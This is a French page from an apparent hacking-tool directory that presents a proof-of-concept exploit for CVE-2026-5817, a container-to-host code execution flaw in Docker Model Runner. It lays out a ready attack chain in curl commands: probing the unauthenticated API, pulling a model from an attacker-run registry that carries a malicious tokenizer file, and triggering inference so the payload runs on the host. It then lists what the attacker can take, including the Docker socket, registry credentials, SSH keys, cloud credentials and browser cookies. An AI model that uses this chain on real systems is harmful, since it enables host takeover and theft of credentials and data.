Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5817-PoC — Docker Model Runner RCE / évasion conteneur-vers-hôte : Une vulnérabilité critique qui permet l'exécution de code du conteneur vers l'hôte dans le backend d'inférence MLX / SGLANG / VLLM de Docker Model Runner. | Kitploit
Outils/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
Sécurité des ConteneursGénération de PayloadsAnalyse des VulnérabilitésExploitationSécurité de la Chaîne LogistiqueÉvasion de ConteneurSécurité de l'IA
GitHubgouldnicholas/cve-2026-5817-poc

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5817-PoC

Docker Model Runner RCE / évasion conteneur-vers-hôte : Une vulnérabilité critique qui permet l'exécution de code du conteneur vers l'hôte dans le backend d'inférence MLX / SGLANG / VLLM de Docker Model Runner.

Voir le dépôt
8il y a 3 moisPas encore vérifié

CVE-2026-5817: Docker Model Runner — RCE / évasion du conteneur vers l'hôte

Tout conteneur sur un hôte Docker Desktop (4.40.0 à 4.67.x) peut exécuter du code sur l'hôte avec deux requêtes HTTP. Aucun montage du socket, aucun --privileged, aucune capacité.

Comment

Chaque conteneur peut joindre Model Runner sur model-runner.docker.internal sans authentification. Il récupère des modèles depuis n'importe quel registre OCI que vous lui indiquez et les stocke sans vérifier les digests. Les backends Python (vLLM, MLX, SGLang) chargent le modèle avec trust_remote_code=True (ou, dans le cas de MLX, ne reconnaît même pas trust_remote_code dans son entrée de configuration), ce qui importe tout fichier .py que le modèle référence dans tokenizer_config.json. Ce .py s'exécute en tant qu'utilisateur de Docker Desktop.

Scénario d'attaque

Position de départ : l'attaquant peut exécuter du code dans n'importe quel conteneur sur l'hôte. Image de base hostile, installation malveillante npm/pip dans un espace de travail de développement, un runner CI qui exécute du code contrôlé par l'attaquant, etc. Pas de montage du socket Docker, pas de --privileged, pas de capacités supplémentaires.

  1. Sonder Model Runner.

    root@kitploit:~
    curl -sf http://model-runner.docker.internal/api/tags
    

    HTTP 200 signifie que Model Runner est actif et joignable depuis ce conteneur. Aucune authentification, aucun en-tête Origin requis.

  2. Mettre en place un registre OCI malveillant. Tout serveur HTTP parlant la spécification de distribution OCI fonctionne. Le registre doit être joignable depuis l'hôte (Model Runner s'exécute sur l'hôte, pas dans le conteneur). Soit vous l'hébergez sur l'internet public, soit vous l'exécutez localement et publiez un port (c'est la deuxième option retenue par docker-compose.yml pour ce PoC). Il sert un modèle Llama valide minimal dont le tokenizer_config.json contient un auto_map pointant vers evil_tokenizer.py. evil_tokenizer.py est la charge utile qui s'exécutera sur l'hôte. Voir rce_registry.py.

  3. Faire en sorte que Model Runner tire depuis votre registre.

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    Model Runner télécharge le manifeste, puis chaque blob, et les écrit dans son stockage sur disque. Aucun digest n'est recalculé ni comparé, aucune vérification de signature. Le modèle malveillant est maintenant installé.

Entrée du payload

remplacez les lignes rce_registry.py:45-105 par un payload arbitraire.

Prérequis

  • Docker Desktop >= 4.40.0 et < 4.68.0 (Model Runner est apparu dans 4.40.0, le bug a été corrigé dans 4.68.0), avec Model Runner activé
  • Un backend Python installé (vllm-metal, vLLM, MLX ou SGLang)
  • Python 3 sur l'hôte

Exécution

root@kitploit:~
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

La preuve est déposée dans /tmp/poc_rce_proof.

Fichiers

  • rce_registry.py - faux registre OCI, sert un modèle Llama minimal plus evil_tokenizer.py
  • test_claims.py - vérifie chaque affirmation par rapport au code source et au système en cours d'exécution
  • run_poc.sh - wrapper
  • docker-compose.yml - registre + conteneur attaquant non privilégié
  • Dockerfile.registry, Dockerfile.attacker - images

CVE associées

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
Télécharger l’outil
  • Déclencher une inférence pour que le modèle se charge.

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
         -H 'Content-Type: application/json' \
         -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
    

    Model Runner choisit un backend Python (vLLM, MLX ou SGLang) et le lance avec --model <bundle_dir> pointant vers le modèle stocké. Le backend appelle AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). Transformers lit tokenizer_config.json, voit le auto_map, et importe evil_tokenizer.py depuis le répertoire du bundle. Le code au niveau du module s'exécute au moment de l'importation.

  • La charge utile s'exécute sur l'hôte. Elle s'exécute en tant qu'utilisateur de Docker Desktop, hors de tout conteneur, avec l'accès complet au système de fichiers et au réseau de l'utilisateur. L'inférence elle-même échoue généralement (le modèle est trop petit pour vraiment s'exécuter), mais cela n'a pas d'importance, l'importation a eu lieu avant.

  • Ce que cela apporte à l'attaquant.

    • /var/run/docker.sock est joignable. Contrôle du démon : créer des conteneurs privilégiés, monter le système de fichiers hôte dans l'un d'eux, exécuter des commandes dans d'autres conteneurs, etc.
    • ~/.docker/config.json contient les identifiants de chaque registre sur lequel l'utilisateur est connecté. Pivot de chaîne d'approvisionnement : pousser des images malveillantes en amont.
    • Clés SSH, identifiants cloud, cookies de navigateur, arbres de code source, tout ce que l'utilisateur peut lire.
    • Via le démon, tous les autres conteneurs en cours d'exécution sur l'hôte.